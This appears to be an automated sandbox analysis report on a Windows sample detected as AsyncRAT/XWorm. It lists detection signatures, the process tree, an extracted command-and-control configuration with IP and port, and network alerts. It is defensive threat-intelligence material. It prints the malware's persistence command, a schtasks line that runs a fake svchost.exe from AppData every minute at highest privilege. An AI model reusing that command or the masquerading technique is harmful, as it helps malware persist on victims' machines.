Edit tour

Windows Analysis Report
windxcmd.exe

Overview

General Information

Sample name:	windxcmd.exe
Analysis ID:	1562137
MD5:	65f2df92724e59cabe9cc5f12768ad93
SHA1:	6f21c66f2c529d37b046f53b04e3fd3baf91b13b
SHA256:	bd5f54fa6a6b85d25c93c790c1b63f28f557cb7d9c1a79cbe702df30f6d0cc07
Tags:	exemalwaretrojanuser-Joker
Infos:

Detection

AsyncRAT, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected AsyncRAT

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code contains very large strings

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Drops PE files with benign system names

Machine Learning detection for dropped file

Machine Learning detection for sample

Protects its processes via BreakOnTermination flag

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

windxcmd.exe (PID: 7404 cmdline: "C:\Users\user\Desktop\windxcmd.exe" MD5: 65F2DF92724E59CABE9CC5F12768AD93)

svchost.exe (PID: 7456 cmdline: "C:\Users\user\AppData\Roaming\svchost.exe" MD5: FBC06EB9F872988CF94EC59C859FACD7)

schtasks.exe (PID: 7704 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wind.exe (PID: 7480 cmdline: "C:\Users\user\AppData\Roaming\wind.exe" MD5: A43BF335D87DF0128E7DA328C6A447B7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["45.141.26.134"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "usb.exe"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\svchost.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Roaming\svchost.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\svchost.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Roaming\svchost.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7d5a:$s6: VirtualBox 0x7cb8:$s8: Win32_ComputerSystem 0x8740:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x87dd:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x88f2:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x83b8:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x20022:$s6: VirtualBox 0x29e62:$s6: VirtualBox 0x1ff80:$s8: Win32_ComputerSystem 0x29dc0:$s8: Win32_ComputerSystem 0x20a08:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2a848:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x20aa5:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2a8e5:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x20bba:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2a9fa:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x20680:$cnc4: POST / HTTP/1.1 0x2a4c0:$cnc4: POST / HTTP/1.1
00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7b5a:$s6: VirtualBox 0x7ab8:$s8: Win32_ComputerSystem 0x8540:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x85dd:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x86f2:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x81b8:$cnc4: POST / HTTP/1.1
00000001.00000002.4308288597.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: windxcmd.exe PID: 7404	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: windxcmd.exe PID: 7404	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: svchost.exe PID: 7456	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: svchost.exe PID: 7456	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.windxcmd.exe.35592c8.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.2.windxcmd.exe.35592c8.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.windxcmd.exe.35592c8.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x5f5a:$s6: VirtualBox 0x5eb8:$s8: Win32_ComputerSystem 0x6940:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x69dd:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6af2:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x65b8:$cnc4: POST / HTTP/1.1
1.0.svchost.exe.300000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
1.0.svchost.exe.300000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
1.0.svchost.exe.300000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.0.svchost.exe.300000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7d5a:$s6: VirtualBox 0x7cb8:$s8: Win32_ComputerSystem 0x8740:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x87dd:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x88f2:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x83b8:$cnc4: POST / HTTP/1.1
0.2.windxcmd.exe.3563108.2.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.2.windxcmd.exe.3563108.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.windxcmd.exe.3563108.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x5f5a:$s6: VirtualBox 0x5eb8:$s8: Win32_ComputerSystem 0x6940:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x69dd:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6af2:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x65b8:$cnc4: POST / HTTP/1.1
0.2.windxcmd.exe.3563108.2.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.2.windxcmd.exe.3563108.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.windxcmd.exe.3563108.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.windxcmd.exe.3563108.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7d5a:$s6: VirtualBox 0x7cb8:$s8: Win32_ComputerSystem 0x8740:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x87dd:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x88f2:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x83b8:$cnc4: POST / HTTP/1.1
0.2.windxcmd.exe.35592c8.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.2.windxcmd.exe.35592c8.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.windxcmd.exe.35592c8.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.windxcmd.exe.35592c8.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7d5a:$s6: VirtualBox 0x11b9a:$s6: VirtualBox 0x7cb8:$s8: Win32_ComputerSystem 0x11af8:$s8: Win32_ComputerSystem 0x8740:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12580:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x87dd:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1261d:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x88f2:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12732:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x83b8:$cnc4: POST / HTTP/1.1 0x121f8:$cnc4: POST / HTTP/1.1
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\windxcmd.exe, ProcessId: 7404, TargetFilename: C:\Users\user\AppData\Roaming\svchost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\windxcmd.exe", ParentImage: C:\Users\user\Desktop\windxcmd.exe, ParentProcessId: 7404, ParentProcessName: windxcmd.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ProcessId: 7456, ProcessName: svchost.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ParentImage: C:\Users\user\AppData\Roaming\svchost.exe, ParentProcessId: 7456, ParentProcessName: svchost.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe", ProcessId: 7704, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\windxcmd.exe", ParentImage: C:\Users\user\Desktop\windxcmd.exe, ParentProcessId: 7404, ParentProcessName: windxcmd.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ProcessId: 7456, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\windxcmd.exe", ParentImage: C:\Users\user\Desktop\windxcmd.exe, ParentProcessId: 7404, ParentProcessName: windxcmd.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ProcessId: 7456, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ParentImage: C:\Users\user\AppData\Roaming\svchost.exe, ParentProcessId: 7456, ParentProcessName: svchost.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe", ProcessId: 7704, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T08:55:39.835907+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:55:53.369724+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:55:53.712594+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:07.602597+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:21.492991+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:23.378688+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:34.178782+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:39.806194+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:40.060140+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:40.353195+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:53.395155+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:53.729778+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:55.462497+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:01.101843+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:11.367860+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:16.240004+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:16.240251+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:16.696188+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:23.384551+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:23.899550+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:26.023750+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:33.753603+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:46.399910+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:53.040127+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:53.406222+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:06.929942+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:11.399731+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:11.653910+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:11.925757+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:23.432884+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:24.462311+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:26.902453+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:27.274986+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:33.181717+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:36.745355+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:37.196123+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:47.164750+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:52.150218+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:53.438566+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:54.492682+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:56.674939+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:57.852047+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:58.351879+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:58.608295+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:01.462519+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:08.579608+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:08.833416+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:11.633875+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:18.821312+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:20.104054+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:23.444705+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:23.745977+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:24.196844+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:27.770571+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.4	49734	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T08:55:39.853925+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:55:53.721542+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:07.604708+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:21.494597+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:34.181270+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:39.819371+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:40.064715+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:40.355122+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:53.732407+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:55.463889+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:01.104528+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:11.369689+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:16.243183+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:16.697744+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:23.902579+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:26.025412+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49734	45.141.26.134	7000	TCP
